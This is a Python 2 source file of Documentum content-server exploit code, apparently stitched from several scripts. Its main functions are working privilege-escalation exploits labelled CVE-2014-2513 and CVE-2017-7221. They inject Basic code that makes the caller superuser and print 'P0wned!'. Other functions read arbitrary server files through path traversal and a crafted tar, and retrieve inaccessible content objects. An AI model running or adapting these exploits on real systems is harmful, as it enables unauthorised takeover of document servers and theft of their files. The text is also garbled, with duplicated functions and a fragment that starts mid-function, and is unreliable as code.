def docbaseMap(handle, version): obj = TypedObject(serializationversion=0) obj.add(AttrValue(name="DBR_REQUEST_NAME", type=STRING, values=["DBRN_GET_DOCBASE_MAP"])) obj.add(AttrValue(name="DBR_REQUEST_VERSION", type=INT, values=[1])) obj.add(AttrValue(name="DBR_REQUEST_HANDLE", type=STRING, values=[handle])) obj.add(AttrValue(name="DBR_SOFTWARE_VERSION", type=STRING, values=[version])) return obj
def query(session, query, forUpdate, batchHint, bofDql): obj = TypedObject(session=session) obj.add(AttrValue(name="QUERY", type=STRING, values=[query])) obj.add(AttrValue(name="FOR_UPDATE", type=BOOL, values=[forUpdate])) obj.add(AttrValue(name="BATCH_HINT", type=INT, values=[batchHint])) obj.add(AttrValue(name="BOF_DQL", type=BOOL, values=[bofDql])) return obj
def get_attribute_nls_info(session, type, attribute, policy=NULL_ID, state=0): obj = TypedObject(session=session) obj.set_string("TYPE_NAME", type) obj.set_string("ATTR_NAME", attribute) obj.set_id("POLICY_ID", policy) obj.set_int("POLICY_STATE", state) return obj
def execute(session, query, for_update, batch_hint, bof_dql=False): obj = TypedObject(session=session) obj.set_string("QUERY", query) obj.set_bool("FOR_UPDATE", for_update) obj.set_int("BATCH_HINT", batch_hint) obj.set_bool("BOF_DQL", bof_dql) return obj
def put_file(session, storage_id, file, format): obj = TypedObject(session=session) obj.set_id("STORAGE", storage_id) obj.set_string("FILE", file) obj.set_id("FORMAT", format) obj.set_bool("MAC_CLIENT", False) return obj
def _docbase_map_request(handle, version): obj = TypedObject(ser_version=0) obj.set_string("DBR_REQUEST_NAME", "DBRN_GET_DOCBASE_MAP") obj.set_int("DBR_REQUEST_VERSION", 1) obj.set_string("DBR_REQUEST_HANDLE", handle) obj.set_string("DBR_SOFTWARE_VERSION", version) return obj
def indexAgentStatus(session, indexname, agentname): obj = TypedObject(session=session) obj.add(AttrValue(name="NAME", type=STRING, values=[indexname])) obj.add( AttrValue(name="AGENT_INSTANCE_NAME", type=STRING, values=[agentname])) obj.add(AttrValue(name="ACTION", type=STRING, values=["status"])) return obj
def serverConfig(session): obj = TypedObject(session=session) obj.add( AttrValue(name="OBJECT_TYPE", type=STRING, values=["dm_server_config"])) obj.add(AttrValue(name="FOR_REVERT", type=BOOL, values=[False])) obj.add(AttrValue(name="CACHE_VSTAMP", type=INT, values=[0])) return obj
def server_dir(session, path, dirs=True, files=True, links=True): obj = TypedObject(session=session) obj.set_string("DIRECTORY", path) obj.set_bool("LIST_DIR", dirs) obj.set_bool("LIST_FILE", files) obj.set_bool("LIST_LINK", links) return obj
def checkout_license(session, feature_name, feature_version, user=None): obj = TypedObject(session=session) if not user: user = session.username obj.set_string("FEATURE_NAME", feature_name) obj.set_string("FEATURE_VERSION", feature_version) obj.set_string("USER_LOGIN_NAME", user) return obj
def authenticate(session, username, password): obj = TypedObject(session=session) obj.add(AttrValue(name="CONNECT_POOLING", type=BOOL, values=[False])) obj.add(AttrValue(name="USER_PASSWORD", type=STRING, values=[password])) obj.add(AttrValue(name="AUTHENTICATION_ONLY", type=BOOL, values=[False])) obj.add(AttrValue(name="CHECK_ONLY", type=BOOL, values=[False])) obj.add(AttrValue(name="LOGON_NAME", type=STRING, values=[username])) return obj
def fetchType(session, typename, vstamp): obj = TypedObject(session=session) obj.add(AttrValue(name="TYPE_NAME", type=STRING, values=[typename])) obj.add(AttrValue(name="CACHE_VSTAMP", type=INT, values=[vstamp])) return obj
def allow_base_type_changes(session, allow=True): obj = TypedObject(session=session) obj.set_bool("ALLOW_CHANGE_FLAG", allow) return obj
def serverMap(handle, version, docbase): obj = TypedObject(serializationversion=0) obj.add(AttrValue(name="r_docbase_name", type=STRING, values=[docbase])) obj.add(AttrValue(name="r_map_name", type=STRING, values=["mn_cs_map"])) obj.add(AttrValue(name="DBR_REQUEST_NAME", type=STRING, values=["DBRN_GET_SERVER_MAP"])) obj.add(AttrValue(name="DBR_REQUEST_VERSION", type=INT, values=[1])) obj.add(AttrValue(name="DBR_REQUEST_HANDLE", type=STRING, values=[handle])) obj.add(AttrValue(name="DBR_SOFTWARE_VERSION", type=STRING, values=[version])) return obj
def authenticate_user(session, username, password, identity=None): obj = TypedObject(session=session) obj.set_bool("CONNECT_POOLING", False) obj.set_string("USER_PASSWORD", password) obj.set_bool("AUTHENTICATION_ONLY", False) obj.set_bool("CHECK_ONLY", False) obj.set_string("LOGON_NAME", username) if identity: if identity.trusted: obj.set_bool("TRUSTED_LOGIN_ALLOWED", True) obj.set_string("OS_LOGON_NAME", username) auth_data = identity.get_auth_data() if auth_data: obj.set_string("CLIENT_AUTH_DATA", auth_data) return obj
def get_docbase_config(session): obj = TypedObject(session=session) obj.set_string("OBJECT_TYPE", "dm_docbase_config") obj.set_bool("FOR_REVERT", False) obj.set_int("CACHE_VSTAMP", 0) return obj
def main(): if len(sys.argv) != 5: usage() exit(1) (session, docbase) = create_session(*sys.argv[1:5]) if is_super_user(session): print "Current user is a superuser, nothing to do" exit(1) install_owner = session.serverconfig['r_install_owner'] document_id = session.next_id(0x08) content_id = session.next_id(0x06) store = session.get_by_qualification("dm_store") format = session.get_by_qualification("dm_format where name='crtext'") handle = session.make_pusher(store['r_object_id']) if handle < 1: print "Unable to create pusher" exit(1) data = "Public Function EntryCriteria(ByVal SessionId As String,_" \ "\nByVal ObjectId As String,_" \ "\nByVal UserName As String,_" \ "\nByVal TargetState As String,_" \ "\nByRef ErrorString As String) As Boolean" \ "\nDim QueryID As String" \ "\nDim Query As String" \ "\nQuery = \"query,c,update dm_user objects set " \ "user_privileges=16 where user_name=\'%s\'\"" \ "\nQueryID = dmAPIGet(Query)" \ "\nQueryID = dmAPIExec(\"commit,c\")" \ "\nEntryCriteria=True" \ "\nEnd Function" % (sys.argv[3]) b = bytearray() b.extend(data) if not session.start_push(handle, content_id, format['r_object_id'], len(b)): print "Failed to start push" exit(1) session.upload(handle, b) data_ticket = session.end_push_v2(handle)['DATA_TICKET'] procedure = False try: print "Trying to create dm_procedure" document = TypedObject(session=session) document.set_string("OBJECT_TYPE", "dm_procedure") document.set_bool("IS_NEW_OBJECT", True) document.set_int("i_vstamp", 0) document.set_int("world_permit", 7) document.set_string("object_name", "CVE-2014-2513") document.set_string("r_object_type", "dm_procedure") document.append_id("i_contents_id", content_id) document.set_int("r_page_cnt", 1) document.set_string("a_content_type", format['name']) document.set_bool("i_has_folder", True) document.set_bool("i_latest_flag", True) document.set_id("i_chronicle_id", document_id) document.append_string("r_version_label", ["1.0", "CURRENT"]) document.set_int("r_content_size", len(b)) if session.sys_obj_save(document_id, document): procedure = True except Exception, e: print str(e)
def encrypt_password(session, password): obj = TypedObject(session=session) obj.set_string("PASSWORD_TO_ENCRYPT", session.obfuscate(password)) return obj
def set_options(session, option, value=True): obj = TypedObject(session=session) obj.set_string("OPTION", option) obj.set_bool("VALUE", value) return obj
def set_push_object_status(session, object_id, value): obj = TypedObject(session=session) obj.set_id("_PUSHED_ID_", object_id) obj.set_bool("_PUSH_STATUS_", value) return obj
def encrypt_text(session, password): obj = TypedObject(session=session) obj.set_string("TEXT_TO_ENCRYPT", session.obfuscate(password)) return obj
def dump_cache(session, tag): obj = TypedObject(session=session) obj.set_int("TAG", tag) return obj
def acl_obj_get_x_permit(session, accessor): obj = TypedObject(session=session) if not is_empty(accessor): obj.set_string("_ACC_NAME_", accessor) return obj
def download(session, path, buf): print "Downloading %s" % path print "Trying to find any object with content..." object_id = session.query( "SELECT FOR READ r_object_id " "FROM dm_sysobject WHERE r_content_size>0") \ .next_record()['r_object_id'] session.apply(None, NULL_ID, "BEGIN_TRANS") store = session.get_by_qualification("dm_filestore") format = session.get_by_qualification("dm_format") remote_path = "common=/../../../../../../../../../..%s=Directory" % path result = session.put_file(store.object_id(), remote_path, format.object_id()) full_size = result['FULL_CONTENT_SIZE'] ticket = result['D_TICKET'] content_id = session.next_id(0x06) obj = TypedObject(session=session) obj.set_string("OBJECT_TYPE", "dmr_content") obj.set_bool("IS_NEW_OBJECT", True) obj.set_int("i_vstamp", 0) obj.set_id("storage_id", store.object_id()) obj.set_id("format", format.object_id()) obj.set_int("data_ticket", ticket) obj.set_id("parent_id", object_id) if not session.save_cont_attrs(content_id, obj): raise RuntimeError("Unable to save content object") handle = session.make_puller(NULL_ID, store.object_id(), content_id, format.object_id(), ticket) if handle == 0: raise RuntimeError("Unable make puller") for chunk in session.download(handle): buf.extend(chunk) return buf
def get_file(session, content_id, file_name=None): content = session.get_object(content_id) obj = TypedObject(session=session) obj.set_id("STORAGE", content['storage_id']) obj.set_id("FORMAT", content['format']) obj.set_id("CONTENT", content['r_object_id']) obj.set_int("D_TICKET", content['data_ticket']) obj.set_bool("MAC_CLIENT", False) if file_name: obj.set_string("OBJNAME", file_name) return obj
def folderByPath(session, path): obj = TypedObject(session=session) obj.add(AttrValue(name="_FOLDER_PATH_", type=STRING, values=[path])) return obj
def next_id_list(session, tag, how_many=10): obj = TypedObject(session=session) obj.set_int("TAG", tag) obj.set_int("HOW_MANY", how_many) return obj
def audit_security_failure(session, op_name, message=None): obj = TypedObject(session=session) obj.set_string("OPERATION_NAME", op_name) if message: obj.set_string("ERROR_MESSAGE", message) return obj
def get_errors(session): obj = TypedObject(session=session) obj.set_string("OBJECT_TYPE", "dmError") return obj
def download(session, path, buf): print "Downloading %s" % path store = session.get_by_qualification("dm_store") format = session.get_by_qualification("dm_format where name='crtext'") print "Creating malicious dmr_content object" session.apply(None, NULL_ID, "BEGIN_TRANS") handle = session.make_pusher(store['r_object_id']) if handle < 1: print "Unable to create pusher" end_tran(session, False) exit(1) (bytes, length) = create_tar("test", path) b = bytearray() b.extend(bytes.read()) print "Trying to find any object with content..." object_id = session.query( "SELECT FOR READ r_object_id " "FROM dm_sysobject WHERE r_content_size>0") \ .next_record()['r_object_id'] content_id = session.next_id(0x06) if not session.start_push(handle, content_id, format['r_object_id'], len(b)): print "Failed to start push" end_tran(session, False) exit(1) session.upload(handle, b) data_ticket = session.end_push_v2(handle)['DATA_TICKET'] content = TypedObject(session=session) content.set_string("OBJECT_TYPE", "dmr_content") content.set_bool("IS_NEW_OBJECT", True) content.set_id("storage_id", store['r_object_id']) content.set_id("format", format['r_object_id']) content.set_int("data_ticket", data_ticket) content.set_int("page", 0) content.set_string("page_modifier", "dm_batch") content.set_string("full_format", format['name']) content.set_int("content_size", len(b)) content.set_bool("BATCH_FLAG", True) content.set_bool("IS_ADDRENDITION", True) content.set_id("parent_id", object_id) if not session.save_cont_attrs(content_id, content): print "Failed to create content" end_tran(session, False) exit(1) content = session.get_by_qualification( "dmr_content WHERE any (parent_id='%s' " "AND page_modifier='%s')" % (object_id, "vuln")) handle = session.make_puller(NULL_ID, store.object_id(), content['r_object_id'], format.object_id(), data_ticket) if handle == 0: end_tran(session, False) raise RuntimeError("Unable make puller") for chunk in session.download(handle): buf.extend(chunk) end_tran(session, False) return buf
def exec_select_sql(session, query, batch_hint=50): obj = TypedObject(session=session) obj.set_string("QUERY", query) obj.set_int("BATCH_HINT", batch_hint) return obj
def fetch_type(session, typename, vstamp): obj = TypedObject(session=session) obj.set_string("TYPE_NAME", typename) obj.set_int("CACHE_VSTAMP", vstamp) return obj
def allow_base_as_features(session, allow=True): obj = TypedObject(session=session) obj.set_bool("VALUE", allow) return obj
def end_tran(session, commit=False): obj = TypedObject(session=session) obj.set_bool("COMMIT", commit) session.apply(None, NULL_ID, "END_TRANS", obj)
def dql_match(session, type, predicate): obj = TypedObject(session=session) obj.set_string("QUERY_TYPE", type) obj.set_string("QUERY_PREDICATE", predicate) return obj
def main(): if len(sys.argv) != 5: usage() exit(1) (session, docbase) = create_session(*sys.argv[1:5]) if is_super_user(session): print "Current user is a superuser, nothing to do" exit(1) print "Trying to find any dm_method object with content..." method_object = session.get_by_qualification( "dm_method WHERE use_method_content=TRUE " "and method_verb like 'dmbasic -e%'") method_content = session.get_by_qualification( "dmr_content where any parent_id='%s'" % method_object['r_object_id']) print "Trying to poison docbase method %s" % method_object['object_name'] method_verb = method_object['method_verb'] print "Method verb: %s" % method_verb method_function = method_verb[len("dmbasic -e"):] print "Method function: %s" % method_function new_content = \ "Const glabel As String = \"Label\"\n" \ "Const ginfo As String = \"Info\"\n" \ "Const gerror As String = \"Error\"\n" \ "\n" \ "Private Sub PrintMessage(mssg As String, mssgtype As String)\n" \ " If(mssgtype=glabel) Then\n" \ " Print \"<BR><B><FONT size=3>\"\n" \ " Print mssg\n" \ " print \"</FONT></B>\"\n" \ " ElseIf(mssgtype=ginfo) Then\n" \ " Print \"<BR><FONT color=blue>\"\n" \ " Print mssg\n" \ " print \"</FONT>\"\n" \ " ElseIf(mssgtype=gerror) Then\n" \ " Print \"<BR><FONT color=red size=3>\"\n" \ " Print mssg\n" \ " print \"</FONT>\"\n" \ " Else\n" \ " Print \"<BR>\" & mssg\n" \ " End If\n" \ "End Sub\n" \ "Private Sub SetupSuperUser(TargetUser As String)\n" \ " objectid$ = dmAPIGet(\"id,c,dm_user where user_name = '\" & TargetUser & \"'\")\n" \ " If objectid$ <> \"\" then\n" \ " Status = dmAPISet(\"set,c,\" & objectid$ & \",user_privileges\",16)\n" \ " Status = dmAPIExec(\"save,c,\" & objectid$)\n" \ " End If\n" \ "End Sub\n" \ "\n" \ "Sub %s(DocbaseName As String, UserName As String, TargetUser As String)\n" \ " Dim SessionID As String\n" \ "\n" \ " SessionID= dmAPIGet(\"connect,\" & DocbaseName & \",\" & UserName & \",\")\n" \ " If SessionID =\"\" Then\n" \ " Print \"Fail to connect to docbase \" & DocbaseName &\" as user \" & UserName\n" \ " DmExit(-1)\n" \ " Else\n" \ " Print \"Connect to docbase \" & DocbaseName &\" as user \" & UserName\n" \ " End If\n" \ "\n" \ " Call SetupSuperUser(TargetUser)\n" \ "\n" \ "End Sub\n" % method_function print "Trying to inject new content:\n%s" % new_content session.apply(None, NULL_ID, "BEGIN_TRANS") if method_content is not None: print "Removing method's content" remove = TypedObject(session=session) remove.set_string("OBJECT_TYPE", "dmr_content") remove.set_int("i_vstamp", method_content['i_vstamp']) obj = session.apply(RPC_APPLY_FOR_BOOL, method_content['r_object_id'], "dmDisplayConfigExpunge", remove) if obj != True: print "Failed to remove method's content, exiting" end_tran(session, False) exit(1) print "method's content has been successfully removed" store = session.get_by_qualification("dm_store") format = session.get_by_qualification("dm_format where name='crtext'") handle = session.make_pusher(store['r_object_id']) if handle < 1: print "Unable to create pusher" end_tran(session, False) exit(1) b = bytearray() b.extend(new_content) if not session.start_push(handle, method_object['i_contents_id'], format['r_object_id'], len(b)): print "Failed to start push" end_tran(session, False) exit(1) session.upload(handle, b) data_ticket = session.end_push_v2(handle)['DATA_TICKET'] print "Creating malicious dmr_content object" content = TypedObject(session=session) content.set_string("OBJECT_TYPE", "dmr_content") content.set_bool("IS_NEW_OBJECT", True) content.set_id("storage_id", store['r_object_id']) content.set_id("format", format['r_object_id']) content.set_int("data_ticket", data_ticket) content.set_id("parent_id", method_object['r_object_id']) content.set_int("page", 0) content.set_string("full_format", format['name']) content.set_int("content_size", len(b)) if not session.save_cont_attrs(method_object['i_contents_id'], content): print "Failed to create content" end_tran(session, False) exit(1) print "Malicious dmr_content object has been successfully created" end_tran(session, True) print "Becoming superuser..." method = TypedObject(session=session) method.set_string("METHOD", method_object['object_name']) method.set_string( "ARGUMENTS", "%s %s %s" % (session.docbaseconfig['object_name'], session.serverconfig['r_install_owner'], sys.argv[3])) session.apply(RPC_APPLY_FOR_OBJECT, NULL_ID, "DO_METHOD", method) r = session.query( "SELECT user_privileges FROM dm_user " "WHERE user_name=USER") \ .next_record()[ 'user_privileges'] if r != 16: print "Failed" exit(1) print "P0wned!"
def folder_id_find_by_path(session, path): obj = TypedObject(session=session) obj.set_string("_FOLDER_PATH_", path) return obj
def entryPoints(session): obj = TypedObject(session=session) obj.add(AttrValue(name="LANGUAGE", type=INT, values=[getLocaleId()])) obj.add(AttrValue(name="CHARACTER_SET", type=INT, values=[getCharsetId()])) obj.add(AttrValue(name="PLATFORM_ENUM", type=INT, values=[getPlatformId()])) obj.add( AttrValue(name="PLATFORM_VERSION_IMAGE", type=STRING, values=["python"])) obj.add( AttrValue(name="UTC_OFFSET", type=INT, values=[getOffsetInSeconds()])) obj.add(AttrValue(name="SDF_AN_custom_date_order", type=INT, values=[0])) obj.add(AttrValue(name="SDF_AN_custom_scan_fields", type=INT, values=[0])) obj.add(AttrValue(name="SDF_AN_date_separator", type=STRING, values=["/"])) obj.add(AttrValue(name="SDF_AN_date_order", type=INT, values=[2])) obj.add(AttrValue(name="SDF_AN_day_leading_zero", type=BOOL, values=[True])) obj.add( AttrValue(name="SDF_AN_month_leading_zero", type=BOOL, values=[True])) obj.add(AttrValue(name="SDF_AN_century", type=BOOL, values=[True])) obj.add(AttrValue(name="SDF_AN_time_separator", type=STRING, values=[":"])) obj.add(AttrValue(name="SDF_AN_hours_24", type=BOOL, values=[True])) obj.add( AttrValue(name="SDF_AN_hour_leading_zero", type=BOOL, values=[True])) obj.add(AttrValue(name="SDF_AN_noon_is_zero", type=BOOL, values=[False])) obj.add(AttrValue(name="SDF_AN_am", type=STRING, values=["AM"])) obj.add(AttrValue(name="SDF_AN_pm", type=STRING, values=["PM"])) obj.add( AttrValue(name="PLATFORM_EXTRA", type=INT, repeating=True, values=[0, 0, 0, 0])) obj.add(AttrValue(name="APPLICATION_CODE", type=STRING, values=[""])) return obj
document.set_int("r_page_cnt", 1) document.set_string("a_content_type", format['name']) document.set_bool("i_has_folder", True) document.set_bool("i_latest_flag", True) document.set_id("i_chronicle_id", document_id) document.append_string("r_version_label", ["1.0", "CURRENT"]) document.set_int("r_content_size", len(b)) if session.sys_obj_save(document_id, document): procedure = True except Exception, e: print str(e) if not procedure: print "Failed to create dm_procedure" print "Trying to create dm_sysobject" document = TypedObject(session=session) document.set_string("OBJECT_TYPE", "dm_sysobject") document.set_bool("IS_NEW_OBJECT", True) document.set_int("i_vstamp", 0) document.set_string("owner_name", sys.argv[3]) document.set_int("world_permit", 7) document.set_string("object_name", "CVE-2017-7221") document.set_string("r_object_type", "dm_sysobject") document.append_id("i_contents_id", content_id) document.set_int("r_page_cnt", 1) document.set_string("a_content_type", format['name']) document.set_bool("i_has_folder", True) document.set_bool("i_latest_flag", True) document.set_id("i_chronicle_id", document_id) document.append_string("r_version_label", ["1.0", "CURRENT"]) document.set_int("r_content_size", len(b))
def log_message(session, message): obj = TypedObject(session=session) obj.set_id("MESSAGE", message) return obj
def stamp_trace(session, message): obj = TypedObject(session=session) obj.set_id("MESSAGE", message) return obj
def getErrors(session): obj = TypedObject(session=session) obj.add(AttrValue(name="OBJECT_TYPE", type=STRING, values=["dmError"])) return obj
def log_on(session, detail): obj = TypedObject(session=session) obj.set_bool("DETAIL", detail) return obj
def sqlQuery(session, query, batchHint): obj = TypedObject(session=session) obj.add(AttrValue(name="QUERY", type=STRING, values=[query])) obj.add(AttrValue(name="BATCH_HINT", type=INT, values=[batchHint])) return obj
def audit_on(session, event): obj = TypedObject(session=session) obj.set_string("EVENT", event) return obj
def get_object_info(session, object_id, fetch_immutability_status=False): obj = TypedObject(session=session) obj.set_id("OBJECT_ID", object_id) obj.set_bool("FETCH_IMMUTABILITY_STATUS", fetch_immutability_status) return obj
def main(): if len(sys.argv) != 5: usage() exit(1) (session, docbase) = create_session(*sys.argv[1:5]) if is_super_user(session): print "Current user is a superuser, nothing to do" exit(1) print "Trying to find any object with content..." object_id = session.query( "SELECT FOR READ r_object_id " "FROM dm_sysobject WHERE r_content_size>0") \ .next_record()['r_object_id'] session.apply(None, NULL_ID, "BEGIN_TRANS") print "Querying \"inaccessible\" dmr_content objects..." for e in session.query( "SELECT * FROM dmr_content " "WHERE ANY parent_id IS NOT NULLID " "AND ANY parent_id NOT IN " "(SELECT r_object_id FROM dm_sysobject)" ): handle = 0 try: content_id = session.next_id(0x06) obj = TypedObject(session=session) obj.set_string("OBJECT_TYPE", "dmr_content") obj.set_bool("IS_NEW_OBJECT", True) obj.set_int("i_vstamp", 0) obj.set_id("storage_id", e["storage_id"]) obj.set_id("format", e["format"]) obj.set_int("data_ticket", e["data_ticket"]) obj.set_id("parent_id", object_id) if not session.save_cont_attrs(content_id, obj): print "Failed" exit(1) handle = session.make_puller( NULL_ID, obj["storage_id"], content_id, obj["format"], obj["data_ticket"] ) if handle == 0: raise RuntimeError("Unable make puller") size = 0 for chunk in session.download(handle): size += len(chunk) print "Downloaded %d/%d bytes of object %s" % \ (size, e['full_content_size'], e['r_object_id']) finally: if handle > 0: try: session.kill_puller(handle) except: pass